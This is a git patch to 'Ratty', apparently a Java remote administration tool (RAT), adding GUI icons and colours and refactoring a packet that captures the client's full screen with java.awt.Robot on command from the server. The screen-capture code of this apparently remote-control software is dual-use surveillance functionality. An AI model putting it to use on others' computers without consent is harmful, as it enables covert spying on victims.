From 50b60ed94b77b9ddf03c6d21c0a20b906a8e46c1 Mon Sep 17 00:00:00 2001
From: Sogomn <Sogomn@Sogomn-PC>
Date: Fri, 29 Jan 2016 01:19:31 +0100
Subject: [PATCH] Major changes Added icons Played around with the GUI a little
 Cleanups

---
 Ratty/res/gui_icon.png                        | Bin 0 -> 162 bytes
 Ratty/res/icons.png                           | Bin 0 -> 427 bytes
 Ratty/src/de/sogomn/rat/Ratty.java            |   8 +++--
 .../sogomn/rat/packet/ScreenshotPacket.java   |  31 +++++++++++-------
 .../de/sogomn/rat/server/gui/RattyGui.java    |  13 +++++++-
 5 files changed, 38 insertions(+), 14 deletions(-)
 create mode 100644 Ratty/res/gui_icon.png
 create mode 100644 Ratty/res/icons.png

diff --git a/Ratty/res/gui_icon.png b/Ratty/res/gui_icon.png
new file mode 100644
index 0000000000000000000000000000000000000000..68c1e12ddb46aa39a4b536d0c3cc508d3d21f486
GIT binary patch
literal 162
zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`nVv3=Ar-fh6Am!n+gtfrzD4o`
zqeAbhuC4^1O^OP<?#s;=CM@D*)co@C+c5(M6}KshH*(ZZiYmCiE;?gq(tLzNih<i=
zLQ>9*6%4IA8KmWy^cHk6?%+|>HvN}Bi}RSsQ}!;N1*;TyJYmS3Ct@#tde2&*r3{{~
KelF{r5}E+D5;htD

literal 0
HcmV?d00001

diff --git a/Ratty/res/icons.png b/Ratty/res/icons.png
new file mode 100644
index 0000000000000000000000000000000000000000..e6f180d34c111e9b78f2598bfe533354369b33e5
GIT binary patch
literal 427
zcmV;c0aX5pP)<h;3K|Lk000e1NJLTq003YB000mO1^@s6>AHIP0004UNkl<Zc-rll
z!41MN3`IKvH_knD08WTm*Z{Ev6R-&<Zk3RjfdN>cVuhkqiWEW}+doc$3Z#E%8d1kD
zc4Al6OnyyW_ndy(cw|A^c{$&A&yTK4N((^)4)%$}aAZN@JI*lozTRF{q5x2^!gtmH
z+?-pp7{vMHZC-3#ya@kHjps@OU~{|=N&(2-IJp2Q2;`jH2yi-FdPrIT9zqEKR9cga
zaS)P#&|N<Uz>RTE@7vWN6abonV!N#YP>yD!!zu#&n0K`Q;M4$+2uST}&G;AuE;Uui
zj;A6Zc0L6mCk2&=080QA1aiLh89>pW3c#l$00zM2f5{o(b=t3A6rK@bn);`pLbsqX
z0I~Dun1Y}~IQ&D(!Q35Q8Ud*kG({z>y@qOP1Na(BEkaYQc!%!JOOav#lJ<ne4hsNM
zo6HI^DvUMdy2kk-gc1PIIzSVNrmYCH`IOs8<MOMv0chEZK$?%%4a!-zqrb5={RBw~
VD_j^p)JXsU002ovPDHLkV1hP!vJn6P

literal 0
HcmV?d00001

diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java
index b654554..3cad3ac 100644
--- a/Ratty/src/de/sogomn/rat/Ratty.java
+++ b/Ratty/src/de/sogomn/rat/Ratty.java
@@ -26,8 +26,12 @@ public final class Ratty {
 		final NimbusLookAndFeel nimbus = new NimbusLookAndFeel();
 		final UIDefaults defaults = nimbus.getDefaults();
 		
-		defaults.put("control", Color.LIGHT_GRAY);
-		defaults.put("nimbusBase", Color.GRAY);
+		defaults.put("control", Color.GRAY);
+		defaults.put("nimbusBase", Color.BLACK);
+		defaults.put("text", Color.WHITE);
+		defaults.put("Table:\"Table.cellRenderer\".background", Color.GRAY);
+		defaults.put("Table.alternateRowColor", Color.LIGHT_GRAY);
+		defaults.put("TextField.foreground", Color.BLACK);
 		
 		try {
 			UIManager.setLookAndFeel(nimbus);
diff --git a/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
index 74635be..9c03b59 100644
--- a/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
+++ b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
@@ -20,7 +20,7 @@ public final class ScreenshotPacket extends AbstractPingPongPacket {
 	
 	private BufferedImage image;
 	
-	private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB);
+	private static final BufferedImage NO_IMAGE = new BufferedImage(10, 10, BufferedImage.TYPE_INT_RGB);
 	private static final int SCREEN_WIDTH = 800;
 	private static final int SCREEN_HEIGHT = 600;
 	
@@ -82,18 +82,11 @@ public final class ScreenshotPacket extends AbstractPingPongPacket {
 	
 	@Override
 	protected void executeRequest(final ActiveClient client) {
-		final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize();
-		final Rectangle screenRect = new Rectangle(screen);
+		type = DATA;
+		image = takeScreenshot();
 		
-		try {
-			final Robot robot = new Robot();
-			
-			type = DATA;
-			image = robot.createScreenCapture(screenRect);
-		} catch (final AWTException ex) {
+		if (image == null) {
 			image = NO_IMAGE;
-			
-			ex.printStackTrace();
 		}
 		
 		client.addPacket(this);
@@ -119,4 +112,20 @@ public final class ScreenshotPacket extends AbstractPingPongPacket {
 		return image;
 	}
 	
+	public static BufferedImage takeScreenshot() {
+		final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize();
+		final Rectangle screenRect = new Rectangle(screen);
+		
+		try {
+			final Robot robot = new Robot();
+			final BufferedImage image = robot.createScreenCapture(screenRect);
+			
+			return image;
+		} catch (final AWTException ex) {
+			ex.printStackTrace();
+			
+			return null;
+		}
+	}
+	
 }
diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
index 66eb47c..8ce2400 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
@@ -7,6 +7,7 @@ import java.awt.event.MouseAdapter;
 import java.awt.event.MouseEvent;
 import java.awt.image.BufferedImage;
 
+import javax.swing.ImageIcon;
 import javax.swing.JFrame;
 import javax.swing.JMenuItem;
 import javax.swing.JPopupMenu;
@@ -15,6 +16,8 @@ import javax.swing.JTable;
 import javax.swing.table.DefaultTableModel;
 
 import de.sogomn.engine.Screen;
+import de.sogomn.engine.fx.SpriteSheet;
+import de.sogomn.engine.util.ImageUtils;
 
 public final class RattyGui {
 	
@@ -40,6 +43,8 @@ public final class RattyGui {
 	};
 	private static final int SCREEN_WIDTH = 800;
 	private static final int SCREEN_HEIGHT = 600;
+	private static final BufferedImage ICON = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64);
+	private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/icons.png", 16, 16).getSprites();
 	
 	public static final String POPUP = "Open popup";
 	public static final String SCREENSHOT = "Take screenshot";
@@ -62,11 +67,14 @@ public final class RattyGui {
 		tableModel = (DefaultTableModel)table.getModel();
 		menu = new JPopupMenu();
 		
-		for (final String command : ACTION_COMMANDS) {
+		for (int i = 0; i < ACTION_COMMANDS.length && i < MENU_ICONS.length; i++) {
+			final String command = ACTION_COMMANDS[i];
 			final JMenuItem item = new JMenuItem(command);
+			final ImageIcon icon = new ImageIcon(MENU_ICONS[i]);
 			
 			item.setActionCommand(command);
 			item.addActionListener(this::menuItemClicked);
+			item.setIcon(icon);
 			
 			menu.add(item);
 		}
@@ -88,10 +96,13 @@ public final class RattyGui {
 		
 		final JScrollPane scrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
 		
+		scrollPane.setBorder(null);
+		
 		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
 		frame.setContentPane(scrollPane);
 		frame.pack();
 		frame.setLocationByPlatform(true);
+		frame.setIconImage(ICON);
 		frame.setVisible(true);
 		frame.requestFocus();
 	}